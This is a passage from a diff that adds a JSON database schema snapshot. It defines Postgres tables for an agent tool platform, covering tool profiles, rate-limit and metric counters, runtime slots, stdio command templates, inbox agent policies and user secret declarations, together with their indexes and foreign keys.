+      },
+      "foreignKeys": {
+        "tool_profile_entries_company_id_companies_id_fk": {
+          "name": "tool_profile_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_entries_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_profile_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_profile_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profiles": {
+      "name": "tool_profiles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_key": {
+          "name": "profile_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "default_action": {
+          "name": "default_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'deny'"
+        },
+        "new_tools_reviewed_at": {
+          "name": "new_tools_reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profiles_company_status_idx": {
+          "name": "tool_profiles_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_key_uq": {
+          "name": "tool_profiles_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_name_uq": {
+          "name": "tool_profiles_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profiles_company_id_companies_id_fk": {
+          "name": "tool_profiles_company_id_companies_id_fk",
+          "tableFrom": "tool_profiles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_rate_limit_counters": {
+      "name": "tool_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "remaining": {
+          "name": "remaining",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_rate_limit_counters_company_idx": {
+          "name": "tool_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_rate_limit_counters_window_uq": {
+          "name": "tool_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_rate_limit_counters_policy_id_tool_policies_id_fk": {
+          "name": "tool_rate_limit_counters_policy_id_tool_policies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "tool_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_metric_counters": {
+      "name": "tool_runtime_metric_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bucket_start_at": {
+          "name": "bucket_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_metric_counters_company_metric_idx": {
+          "name": "tool_runtime_metric_counters_company_metric_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_metric_counters_bucket_uq": {
+          "name": "tool_runtime_metric_counters_bucket_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_metric_counters_company_id_companies_id_fk": {
+          "name": "tool_runtime_metric_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_metric_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_slots": {
+      "name": "tool_runtime_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_scope_type": {
+          "name": "owner_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'connection'"
+        },
+        "owner_scope_id": {
+          "name": "owner_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_kind": {
+          "name": "runtime_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_stdio'"
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'stopped'"
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "workspace_scope": {
+          "name": "workspace_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_hash": {
+          "name": "credential_scope_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_id": {
+          "name": "process_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command_template_key": {
+          "name": "command_template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_check_at": {
+          "name": "last_health_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_started_at": {
+          "name": "last_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_expires_at": {
+          "name": "idle_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_deadline_at": {
+          "name": "idle_deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_slots_company_idx": {
+          "name": "tool_runtime_slots_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_connection_idx": {
+          "name": "tool_runtime_slots_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_execution_workspace_idx": {
+          "name": "tool_runtime_slots_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_slot_key_uq": {
+          "name": "tool_runtime_slots_slot_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slot_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_slots_company_id_companies_id_fk": {
+          "name": "tool_runtime_slots_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_application_id_tool_applications_id_fk": {
+          "name": "tool_runtime_slots_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_connection_id_tool_connections_id_fk": {
+          "name": "tool_runtime_slots_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk": {
+          "name": "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_issue_id_issues_id_fk": {
+          "name": "tool_runtime_slots_issue_id_issues_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_stdio_command_templates": {
+      "name": "tool_stdio_command_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_key": {
+          "name": "template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "args": {
+          "name": "args",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env_keys": {
+          "name": "env_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "tools": {
+          "name": "tools",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_stdio_command_templates_company_idx": {
+          "name": "tool_stdio_command_templates_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_status_idx": {
+          "name": "tool_stdio_command_templates_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_key_uq": {
+          "name": "tool_stdio_command_templates_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "template_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_stdio_command_templates_company_id_companies_id_fk": {
+          "name": "tool_stdio_command_templates_company_id_companies_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_stdio_command_templates_created_by_agent_id_agents_id_fk": {
+          "name": "tool_stdio_command_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_inbox_agent_policies": {
+      "name": "user_inbox_agent_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "allowed_agent_ids": {
+          "name": "allowed_agent_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_inbox_agent_policies_company_user_uq": {
+          "name": "user_inbox_agent_policies_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_inbox_agent_policies_allowed_agent_ids_idx": {
+          "name": "user_inbox_agent_policies_allowed_agent_ids_idx",
+          "columns": [
+            {
+              "expression": "allowed_agent_ids",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_inbox_agent_policies_company_id_companies_id_fk": {
+          "name": "user_inbox_agent_policies_company_id_companies_id_fk",
+          "tableFrom": "user_inbox_agent_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "user_inbox_agent_policies_mode_check": {
+          "name": "user_inbox_agent_policies_mode_check",
+          "value": "\"user_inbox_agent_policies\".\"mode\" in ('open', 'allowlist', 'disabled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.user_secret_declarations": {
+      "name": "user_secret_declarations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "env_key": {
+          "name": "env_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "allow_missing_override": {
+          "name": "allow_missing_override",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_declarations_company_idx": {
+          "name": "user_secret_declarations_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_definition_idx": {
+          "name": "user_secret_declarations_definition_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_idx": {
+          "name": "user_secret_declarations_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_company_required_idx": {
+          "name": "user_secret_declarations_company_required_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "required",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_path_uq": {
+          "name": "user_secret_declarations_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
